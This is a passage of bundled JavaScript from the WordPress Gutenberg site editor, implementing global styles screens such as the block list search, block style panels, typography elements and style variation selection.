          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
              className: "edit-site-global-styles-header",
              level: 2,
              size: 13,
              children: title
            })
          })]
        })
      })
    }), description && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
      className: "edit-site-global-styles-header__description",
      children: description
    })]
  });
}
/* harmony default export */ const header = (ScreenHeader);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-block-list.js
/**
 * WordPress dependencies
 */









/**
 * Internal dependencies
 */





const {
  useHasDimensionsPanel: screen_block_list_useHasDimensionsPanel,
  useHasTypographyPanel: screen_block_list_useHasTypographyPanel,
  useHasBorderPanel,
  useGlobalSetting: screen_block_list_useGlobalSetting,
  useSettingsForBlockElement: screen_block_list_useSettingsForBlockElement,
  useHasColorPanel: screen_block_list_useHasColorPanel
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function useSortedBlockTypes() {
  const blockItems = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_blocks_namespaceObject.store).getBlockTypes(), []);
  // Ensure core blocks are prioritized in the returned results,
  // because third party blocks can be registered earlier than
  // the core blocks (usually by using the `init` action),
  // thus affecting the display order.
  // We don't sort reusable blocks as they are handled differently.
  const groupByType = (blocks, block) => {
    const {
      core,
      noncore
    } = blocks;
    const type = block.name.startsWith('core/') ? core : noncore;
    type.push(block);
    return blocks;
  };
  const {
    core: coreItems,
    noncore: nonCoreItems
  } = blockItems.reduce(groupByType, {
    core: [],
    noncore: []
  });
  return [...coreItems, ...nonCoreItems];
}
function useBlockHasGlobalStyles(blockName) {
  const [rawSettings] = screen_block_list_useGlobalSetting('', blockName);
  const settings = screen_block_list_useSettingsForBlockElement(rawSettings, blockName);
  const hasTypographyPanel = screen_block_list_useHasTypographyPanel(settings);
  const hasColorPanel = screen_block_list_useHasColorPanel(settings);
  const hasBorderPanel = useHasBorderPanel(settings);
  const hasDimensionsPanel = screen_block_list_useHasDimensionsPanel(settings);
  const hasLayoutPanel = hasBorderPanel || hasDimensionsPanel;
  const hasVariationsPanel = !!useBlockVariations(blockName)?.length;
  const hasGlobalStyles = hasTypographyPanel || hasColorPanel || hasLayoutPanel || hasVariationsPanel;
  return hasGlobalStyles;
}
function BlockMenuItem({
  block
}) {
  const hasBlockMenuItem = useBlockHasGlobalStyles(block.name);
  if (!hasBlockMenuItem) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
    path: '/blocks/' + encodeURIComponent(block.name),
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      justify: "flex-start",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, {
        icon: block.icon
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
        children: block.title
      })]
    })
  });
}
function BlockList({
  filterValue
}) {
  const sortedBlockTypes = useSortedBlockTypes();
  const debouncedSpeak = (0,external_wp_compose_namespaceObject.useDebounce)(external_wp_a11y_namespaceObject.speak, 500);
  const {
    isMatchingSearchTerm
  } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blocks_namespaceObject.store);
  const filteredBlockTypes = !filterValue ? sortedBlockTypes : sortedBlockTypes.filter(blockType => isMatchingSearchTerm(blockType, filterValue));
  const blockTypesListRef = (0,external_wp_element_namespaceObject.useRef)();

  // Announce search results on change
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (!filterValue) {
      return;
    }
    // We extract the results from the wrapper div's `ref` because
    // filtered items can contain items that will eventually not
    // render and there is no reliable way to detect when a child
    // will return `null`.
    // TODO: We should find a better way of handling this as it's
    // fragile and depends on the number of rendered elements of `BlockMenuItem`,
    // which is now one.
    // @see https://github.com/WordPress/gutenberg/pull/39117#discussion_r816022116
    const count = blockTypesListRef.current.childElementCount;
    const resultsFoundMessage = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %d: number of results. */
    (0,external_wp_i18n_namespaceObject._n)('%d result found.', '%d results found.', count), count);
    debouncedSpeak(resultsFoundMessage, count);
  }, [filterValue, debouncedSpeak]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    ref: blockTypesListRef,
    className: "edit-site-block-types-item-list"
    // By default, BlockMenuItem has a role=listitem so this div must have a list role.
    ,
    role: "list",
    children: filteredBlockTypes.length === 0 ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
      align: "center",
      as: "p",
      children: (0,external_wp_i18n_namespaceObject.__)('No blocks found.')
    }) : filteredBlockTypes.map(block => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockMenuItem, {
      block: block
    }, 'menu-itemblock-' + block.name))
  });
}
const MemoizedBlockList = (0,external_wp_element_namespaceObject.memo)(BlockList);
function ScreenBlockList() {
  const [filterValue, setFilterValue] = (0,external_wp_element_namespaceObject.useState)('');
  const deferredFilterValue = (0,external_wp_element_namespaceObject.useDeferredValue)(filterValue);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
      title: (0,external_wp_i18n_namespaceObject.__)('Blocks'),
      description: (0,external_wp_i18n_namespaceObject.__)('Customize the appearance of specific blocks and for the whole site.')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SearchControl, {
      __nextHasNoMarginBottom: true,
      className: "edit-site-block-types-search",
      onChange: setFilterValue,
      value: filterValue,
      label: (0,external_wp_i18n_namespaceObject.__)('Search'),
      placeholder: (0,external_wp_i18n_namespaceObject.__)('Search')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MemoizedBlockList, {
      filterValue: deferredFilterValue
    })]
  });
}
/* harmony default export */ const screen_block_list = (ScreenBlockList);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/block-preview-panel.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */


const BlockPreviewPanel = ({
  name,
  variation = ''
}) => {
  var _blockExample$viewpor;
  const blockExample = (0,external_wp_blocks_namespaceObject.getBlockType)(name)?.example;
  const blocks = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (!blockExample) {
      return null;
    }
    const example = {
      ...blockExample,
      attributes: {
        ...blockExample.attributes,
        style: undefined,
        className: variation ? getVariationClassName(variation) : blockExample.attributes?.className
      }
    };
    return (0,external_wp_blocks_namespaceObject.getBlockFromExample)(name, example);
  }, [name, blockExample, variation]);
  const viewportWidth = (_blockExample$viewpor = blockExample?.viewportWidth) !== null && _blockExample$viewpor !== void 0 ? _blockExample$viewpor : 500;
  // Same as height of InserterPreviewPanel.
  const previewHeight = 144;
  const sidebarWidth = 235;
  const scale = sidebarWidth / viewportWidth;
  const minHeight = scale !== 0 && scale < 1 && previewHeight ? previewHeight / scale : previewHeight;
  if (!blockExample) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
    marginX: 4,
    marginBottom: 4,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "edit-site-global-styles__block-preview-panel",
      style: {
        maxHeight: previewHeight,
        boxSizing: 'initial'
      },
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockPreview, {
        blocks: blocks,
        viewportWidth: viewportWidth,
        minHeight: previewHeight,
        additionalStyles:
        //We want this CSS to be in sync with the one in InserterPreviewPanel.
        [{
          css: `
								body{
									padding: 24px;
									min-height:${Math.round(minHeight)}px;
									display:flex;
									align-items:center;
								}
								.is-root-container { width: 100%; }
							`
        }]
      })
    })
  });
};
/* harmony default export */ const block_preview_panel = (BlockPreviewPanel);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/subtitle.js
/**
 * WordPress dependencies
 */


function Subtitle({
  children,
  level
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
    className: "edit-site-global-styles-subtitle",
    level: level !== null && level !== void 0 ? level : 2,
    children: children
  });
}
/* harmony default export */ const subtitle = (Subtitle);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-block.js
/* wp:polyfill */
/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */






// Initial control values.

const BACKGROUND_BLOCK_DEFAULT_VALUES = {
  backgroundSize: 'cover',
  backgroundPosition: '50% 50%' // used only when backgroundSize is 'contain'.
};
function applyFallbackStyle(border) {
  if (!border) {
    return border;
  }
  const hasColorOrWidth = border.color || border.width;
  if (!border.style && hasColorOrWidth) {
    return {
      ...border,
      style: 'solid'
    };
  }
  if (border.style && !hasColorOrWidth) {
    return undefined;
  }
  return border;
}
function applyAllFallbackStyles(border) {
  if (!border) {
    return border;
  }
  if ((0,external_wp_components_namespaceObject.__experimentalHasSplitBorders)(border)) {
    return {
      top: applyFallbackStyle(border.top),
      right: applyFallbackStyle(border.right),
      bottom: applyFallbackStyle(border.bottom),
      left: applyFallbackStyle(border.left)
    };
  }
  return applyFallbackStyle(border);
}
const {
  useHasDimensionsPanel: screen_block_useHasDimensionsPanel,
  useHasTypographyPanel: screen_block_useHasTypographyPanel,
  useHasBorderPanel: screen_block_useHasBorderPanel,
  useGlobalSetting: screen_block_useGlobalSetting,
  useSettingsForBlockElement: screen_block_useSettingsForBlockElement,
  useHasColorPanel: screen_block_useHasColorPanel,
  useHasFiltersPanel,
  useHasImageSettingsPanel,
  useGlobalStyle: screen_block_useGlobalStyle,
  useHasBackgroundPanel: screen_block_useHasBackgroundPanel,
  BackgroundPanel: StylesBackgroundPanel,
  BorderPanel: StylesBorderPanel,
  ColorPanel: StylesColorPanel,
  TypographyPanel: StylesTypographyPanel,
  DimensionsPanel: StylesDimensionsPanel,
  FiltersPanel: StylesFiltersPanel,
  ImageSettingsPanel,
  AdvancedPanel: StylesAdvancedPanel
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function ScreenBlock({
  name,
  variation
}) {
  let prefixParts = [];
  if (variation) {
    prefixParts = ['variations', variation].concat(prefixParts);
  }
  const prefix = prefixParts.join('.');
  const [style] = screen_block_useGlobalStyle(prefix, name, 'user', {
    shouldDecodeEncode: false
  });
  const [inheritedStyle, setStyle] = screen_block_useGlobalStyle(prefix, name, 'all', {
    shouldDecodeEncode: false
  });
  const [userSettings] = screen_block_useGlobalSetting('', name, 'user');
  const [rawSettings, setSettings] = screen_block_useGlobalSetting('', name);
  const settingsForBlockElement = screen_block_useSettingsForBlockElement(rawSettings, name);
  const blockType = (0,external_wp_blocks_namespaceObject.getBlockType)(name);

  // Only allow `blockGap` support if serialization has not been skipped, to be sure global spacing can be applied.
  let disableBlockGap = false;
  if (settingsForBlockElement?.spacing?.blockGap && blockType?.supports?.spacing?.blockGap && (blockType?.supports?.spacing?.__experimentalSkipSerialization === true || blockType?.supports?.spacing?.__experimentalSkipSerialization?.some?.(spacingType => spacingType === 'blockGap'))) {
    disableBlockGap = true;
  }

  // Only allow `aspectRatio` support if the block is not the grouping block.
  // The grouping block allows the user to use Group, Row and Stack variations,
  // and it is highly likely that the user will not want to set an aspect ratio
  // for all three at once. Until there is the ability to set a different aspect
  // ratio for each variation, we disable the aspect ratio controls for the
  // grouping block in global styles.
  let disableAspectRatio = false;
  if (settingsForBlockElement?.dimensions?.aspectRatio && name === 'core/group') {
    disableAspectRatio = true;
  }
  const settings = (0,external_wp_element_namespaceObject.useMemo)(() => {
    const updatedSettings = structuredClone(settingsForBlockElement);
    if (disableBlockGap) {
      updatedSettings.spacing.blockGap = false;
    }
    if (disableAspectRatio) {
      updatedSettings.dimensions.aspectRatio = false;
    }
    return updatedSettings;
  }, [settingsForBlockElement, disableBlockGap, disableAspectRatio]);
  const blockVariations = useBlockVariations(name);
  const hasBackgroundPanel = screen_block_useHasBackgroundPanel(settings);
  const hasTypographyPanel = screen_block_useHasTypographyPanel(settings);
  const hasColorPanel = screen_block_useHasColorPanel(settings);
  const hasBorderPanel = screen_block_useHasBorderPanel(settings);
  const hasDimensionsPanel = screen_block_useHasDimensionsPanel(settings);
  const hasFiltersPanel = useHasFiltersPanel(settings);
  const hasImageSettingsPanel = useHasImageSettingsPanel(name, userSettings, settings);
  const hasVariationsPanel = !!blockVariations?.length && !variation;
  const {
    canEditCSS
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecord,
      __experimentalGetCurrentGlobalStylesId
    } = select(external_wp_coreData_namespaceObject.store);
    const globalStylesId = __experimentalGetCurrentGlobalStylesId();
    const globalStyles = globalStylesId ? getEntityRecord('root', 'globalStyles', globalStylesId) : undefined;
    return {
      canEditCSS: !!globalStyles?._links?.['wp:action-edit-css']
    };
  }, []);
  const currentBlockStyle = variation ? blockVariations.find(s => s.name === variation) : null;

  // These intermediary objects are needed because the "layout" property is stored
  // in settings rather than styles.
  const inheritedStyleWithLayout = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return {
      ...inheritedStyle,
      layout: settings.layout
    };
  }, [inheritedStyle, settings.layout]);
  const styleWithLayout = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return {
      ...style,
      layout: userSettings.layout
    };
  }, [style, userSettings.layout]);
  const onChangeDimensions = newStyle => {
    const updatedStyle = {
      ...newStyle
    };
    delete updatedStyle.layout;
    setStyle(updatedStyle);
    if (newStyle.layout !== userSettings.layout) {
      setSettings({
        ...userSettings,
        layout: newStyle.layout
      });
    }
  };
  const onChangeLightbox = newSetting => {
    // If the newSetting is undefined, this means that the user has deselected
    // (reset) the lightbox setting.
    if (newSetting === undefined) {
      setSettings({
        ...rawSettings,
        lightbox: undefined
      });

      // Otherwise, we simply set the lightbox setting to the new value but
      // taking care of not overriding the other lightbox settings.
    } else {
      setSettings({
        ...rawSettings,
        lightbox: {
          ...rawSettings.lightbox,
          ...newSetting
        }
      });
    }
  };
  const onChangeBorders = newStyle => {
    if (!newStyle?.border) {
      setStyle(newStyle);
      return;
    }

    // As Global Styles can't conditionally generate styles based on if
    // other style properties have been set, we need to force split
    // border definitions for user set global border styles. Border
    // radius is derived from the same property i.e. `border.radius` if
    // it is a string that is used. The longhand border radii styles are
    // only generated if that property is an object.
    //
    // For borders (color, style, and width) those are all properties on
    // the `border` style property. This means if the theme.json defined
    // split borders and the user condenses them into a flat border or
    // vice-versa we'd get both sets of styles which would conflict.
    const {
      radius,
      ...newBorder
    } = newStyle.border;
    const border = applyAllFallbackStyles(newBorder);
    const updatedBorder = !(0,external_wp_components_namespaceObject.__experimentalHasSplitBorders)(border) ? {
      top: border,
      right: border,
      bottom: border,
      left: border
    } : {
      color: null,
      style: null,
      width: null,
      ...border
    };
    setStyle({
      ...newStyle,
      border: {
        ...updatedBorder,
        radius
      }
    });
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
      title: variation ? currentBlockStyle?.label : blockType.title
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(block_preview_panel, {
      name: name,
      variation: variation
    }), hasVariationsPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "edit-site-global-styles-screen-variations",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
        spacing: 3,
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle, {
          children: (0,external_wp_i18n_namespaceObject.__)('Style Variations')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(VariationsPanel, {
          name: name
        })]
      })
    }), hasColorPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StylesColorPanel, {
      inheritedValue: inheritedStyle,
      value: style,
      onChange: setStyle,
      settings: settings
    }), hasBackgroundPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StylesBackgroundPanel, {
      inheritedValue: inheritedStyle,
      value: style,
      onChange: setStyle,
      settings: settings,
      defaultValues: BACKGROUND_BLOCK_DEFAULT_VALUES
    }), hasTypographyPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StylesTypographyPanel, {
      inheritedValue: inheritedStyle,
      value: style,
      onChange: setStyle,
      settings: settings
    }), hasDimensionsPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StylesDimensionsPanel, {
      inheritedValue: inheritedStyleWithLayout,
      value: styleWithLayout,
      onChange: onChangeDimensions,
      settings: settings,
      includeLayoutControls: true
    }), hasBorderPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StylesBorderPanel, {
      inheritedValue: inheritedStyle,
      value: style,
      onChange: onChangeBorders,
      settings: settings
    }), hasFiltersPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StylesFiltersPanel, {
      inheritedValue: inheritedStyleWithLayout,
      value: styleWithLayout,
      onChange: setStyle,
      settings: settings,
      includeLayoutControls: true
    }), hasImageSettingsPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ImageSettingsPanel, {
      onChange: onChangeLightbox,
      value: userSettings,
      inheritedValue: settings
    }), canEditCSS && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.PanelBody, {
      title: (0,external_wp_i18n_namespaceObject.__)('Advanced'),
      initialOpen: false,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
        children: (0,external_wp_i18n_namespaceObject.sprintf)(
        // translators: %s: is the name of a block e.g., 'Image' or 'Table'.
        (0,external_wp_i18n_namespaceObject.__)('Add your own CSS to customize the appearance of the %s block. You do not need to include a CSS selector, just add the property and value.'), blockType?.title)
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StylesAdvancedPanel, {
        value: style,
        onChange: setStyle,
        inheritedValue: inheritedStyle
      })]
    })]
  });
}
/* harmony default export */ const screen_block = (ScreenBlock);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/typography-elements.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */




const {
  useGlobalStyle: typography_elements_useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function ElementItem({
  parentMenu,
  element,
  label
}) {
  var _ref;
  const prefix = element === 'text' || !element ? '' : `elements.${element}.`;
  const extraStyles = element === 'link' ? {
    textDecoration: 'underline'
  } : {};
  const [fontFamily] = typography_elements_useGlobalStyle(prefix + 'typography.fontFamily');
  const [fontStyle] = typography_elements_useGlobalStyle(prefix + 'typography.fontStyle');
  const [fontWeight] = typography_elements_useGlobalStyle(prefix + 'typography.fontWeight');
  const [backgroundColor] = typography_elements_useGlobalStyle(prefix + 'color.background');
  const [fallbackBackgroundColor] = typography_elements_useGlobalStyle('color.background');
  const [gradientValue] = typography_elements_useGlobalStyle(prefix + 'color.gradient');
  const [color] = typography_elements_useGlobalStyle(prefix + 'color.text');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
    path: parentMenu + '/typography/' + element,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      justify: "flex-start",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
        className: "edit-site-global-styles-screen-typography__indicator",
        style: {
          fontFamily: fontFamily !== null && fontFamily !== void 0 ? fontFamily : 'serif',
          background: (_ref = gradientValue !== null && gradientValue !== void 0 ? gradientValue : backgroundColor) !== null && _ref !== void 0 ? _ref : fallbackBackgroundColor,
          color,
          fontStyle,
          fontWeight,
          ...extraStyles
        },
        "aria-hidden": "true",
        children: (0,external_wp_i18n_namespaceObject.__)('Aa')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
        children: label
      })]
    })
  });
}
function TypographyElements() {
  const parentMenu = '';
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
    spacing: 3,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle, {
      level: 3,
      children: (0,external_wp_i18n_namespaceObject.__)('Elements')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, {
      isBordered: true,
      isSeparated: true,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ElementItem, {
        parentMenu: parentMenu,
        element: "text",
        label: (0,external_wp_i18n_namespaceObject.__)('Text')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ElementItem, {
        parentMenu: parentMenu,
        element: "link",
        label: (0,external_wp_i18n_namespaceObject.__)('Links')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ElementItem, {
        parentMenu: parentMenu,
        element: "heading",
        label: (0,external_wp_i18n_namespaceObject.__)('Headings')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ElementItem, {
        parentMenu: parentMenu,
        element: "caption",
        label: (0,external_wp_i18n_namespaceObject.__)('Captions')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ElementItem, {
        parentMenu: parentMenu,
        element: "button",
        label: (0,external_wp_i18n_namespaceObject.__)('Buttons')
      })]
    })]
  });
}
/* harmony default export */ const typography_elements = (TypographyElements);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/preview-typography.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */



const StylesPreviewTypography = ({
  variation,
  isFocused,
  withHoverView
}) => {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreviewWrapper, {
    label: variation.title,
    isFocused: isFocused,
    withHoverView: withHoverView,
    children: ({
      ratio,
      key
    }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
      spacing: 10 * ratio,
      justify: "center",
      style: {
        height: '100%',
        overflow: 'hidden'
      },
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreviewTypography, {
        variation: variation,
        fontSize: 85 * ratio
      })
    }, key)
  });
};
/* harmony default export */ const preview_typography = (StylesPreviewTypography);

;// ./node_modules/@wordpress/edit-site/build-module/hooks/use-theme-style-variations/use-theme-style-variations-by-property.js
/* wp:polyfill */
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */

const use_theme_style_variations_by_property_EMPTY_ARRAY = [];
const {
  GlobalStylesContext: use_theme_style_variations_by_property_GlobalStylesContext,
  areGlobalStyleConfigsEqual
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const {
  mergeBaseAndUserConfigs: use_theme_style_variations_by_property_mergeBaseAndUserConfigs
} = unlock(external_wp_editor_namespaceObject.privateApis);

/**
 * Removes all instances of properties from an object.
 *
 * @param {Object}   object     The object to remove the properties from.
 * @param {string[]} properties The properties to remove.
 * @return {Object} The modified object.
 */
function removePropertiesFromObject(object, properties) {
  if (!properties?.length) {
    return object;
  }
  if (typeof object !== 'object' || !object || !Object.keys(object).length) {
    return object;
  }
  for (const key in object) {
    if (properties.includes(key)) {
      delete object[key];
    } else if (typeof object[key] === 'object') {
      removePropertiesFromObject(object[key], properties);
    }
  }
  return object;
}

/**
 * Checks whether a style variation is empty.
 *
 * @param {Object} variation          A style variation object.
 * @param {string} variation.title    The title of the variation.
 * @param {Object} variation.settings The settings of the variation.
 * @param {Object} variation.styles   The styles of the variation.
 * @return {boolean} Whether the variation is empty.
 */
function hasThemeVariation({
  title,
  settings,
  styles
}) {
  return title === (0,external_wp_i18n_namespaceObject.__)('Default') ||
  // Always preserve the default variation.
  Object.keys(settings).length > 0 || Object.keys(styles).length > 0;
}

/**
 * Fetches the current theme style variations that contain only the specified properties
 * and merges them with the user config.
 *
 * @param {string[]} properties The properties to filter by.
 * @return {Object[]|*} The merged object.
 */
function useCurrentMergeThemeStyleVariationsWithUserConfig(properties = []) {
  const {
    variationsFromTheme
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const _variationsFromTheme = select(external_wp_coreData_namespaceObject.store).__experimentalGetCurrentThemeGlobalStylesVariations();
    return {
      variationsFromTheme: _variationsFromTheme || use_theme_style_variations_by_property_EMPTY_ARRAY
    };
  }, []);
  const {
    user: userVariation
  } = (0,external_wp_element_namespaceObject.useContext)(use_theme_style_variations_by_property_GlobalStylesContext);
  const propertiesAsString = properties.toString();
  return (0,external_wp_element_namespaceObject.useMemo)(() => {
    const clonedUserVariation = structuredClone(userVariation);

    // Get user variation and remove the settings for the given property.
    const userVariationWithoutProperties = removePropertiesFromObject(clonedUserVariation, properties);
    userVariationWithoutProperties.title = (0,external_wp_i18n_namespaceObject.__)('Default');
    const variationsWithPropertiesAndBase = variationsFromTheme.filter(variation => {
      return isVariationWithProperties(variation, properties);
    }).map(variation => {
      return use_theme_style_variations_by_property_mergeBaseAndUserConfigs(userVariationWithoutProperties, variation);
    });
    const variationsByProperties = [userVariationWithoutProperties, ...variationsWithPropertiesAndBase];

    /*
     * Filter out variations with no settings or styles.
     */
    return variationsByProperties?.length ? variationsByProperties.filter(hasThemeVariation) : [];
  }, [propertiesAsString, userVariation, variationsFromTheme]);
}

/**
 * Returns a new object, with properties specified in `properties` array.,
 * maintain the original object tree structure.
 * The function is recursive, so it will perform a deep search for the given properties.
 * E.g., the function will return `{ a: { b: { c: { test: 1 } } } }` if the properties are  `[ 'test' ]`.
 *
 * @param {Object}   object     The object to filter
 * @param {string[]} properties The properties to filter by
 * @return {Object} The merged object.
 */
const filterObjectByProperties = (object, properties) => {
  if (!object || !properties?.length) {
    return {};
  }
  const newObject = {};
  Object.keys(object).forEach(key => {
    if (properties.includes(key)) {
      newObject[key] = object[key];
    } else if (typeof object[key] === 'object') {
      const newFilter = filterObjectByProperties(object[key], properties);
      if (Object.keys(newFilter).length) {
        newObject[key] = newFilter;
      }
    }
  });
  return newObject;
};

/**
 * Compares a style variation to the same variation filtered by the specified properties.
 * Returns true if the variation contains only the properties specified.
 *
 * @param {Object}   variation  The variation to compare.
 * @param {string[]} properties The properties to compare.
 * @return {boolean} Whether the variation contains only the specified properties.
 */
function isVariationWithProperties(variation, properties) {
  const variationWithProperties = filterObjectByProperties(structuredClone(variation), properties);
  return areGlobalStyleConfigsEqual(variationWithProperties, variation);
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/variations/variation.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */



const {
  mergeBaseAndUserConfigs: variation_mergeBaseAndUserConfigs
} = unlock(external_wp_editor_namespaceObject.privateApis);
const {
  GlobalStylesContext: variation_GlobalStylesContext,
  areGlobalStyleConfigsEqual: variation_areGlobalStyleConfigsEqual
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function Variation({
  variation,
  children,
  isPill,
  properties,
  showTooltip
}) {
  const [isFocused, setIsFocused] = (0,external_wp_element_namespaceObject.useState)(false);
  const {
    base,
    user,
    setUserConfig
  } = (0,external_wp_element_namespaceObject.useContext)(variation_GlobalStylesContext);
  const context = (0,external_wp_element_namespaceObject.useMemo)(() => {
    let merged = variation_mergeBaseAndUserConfigs(base, variation);
    if (properties) {
      merged = filterObjectByProperties(merged, properties);
    }
    return {
      user: variation,
      base,
      merged,
      setUserConfig: () => {}
    };
  }, [variation, base, properties]);
  const selectVariation = () => setUserConfig(variation);
  const selectOnEnter = event => {
    if (event.keyCode === external_wp_keycodes_namespaceObject.ENTER) {
      event.preventDefault();
      selectVariation();
    }
  };
  const isActive = (0,external_wp_element_namespaceObject.useMemo)(() => variation_areGlobalStyleConfigsEqual(user, variation), [user, variation]);
  let label = variation?.title;
  if (variation?.description) {
    label = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: variation title. 2: variation description. */
    (0,external_wp_i18n_namespaceObject._x)('%1$s (%2$s)', 'variation label'), variation?.title, variation?.description);
  }
  const content = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: dist_clsx('edit-site-global-styles-variations_item', {
      'is-active': isActive
    }),
    role: "button",
    onClick: selectVariation,
    onKeyDown: selectOnEnter,
    tabIndex: "0",
    "aria-label": label,
    "aria-current": isActive,
    onFocus: () => setIsFocused(true),
    onBlur: () => setIsFocused(false),
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: dist_clsx('edit-site-global-styles-variations_item-preview', {
        'is-pill': isPill
      }),
      children: children(isFocused)
    })
  });
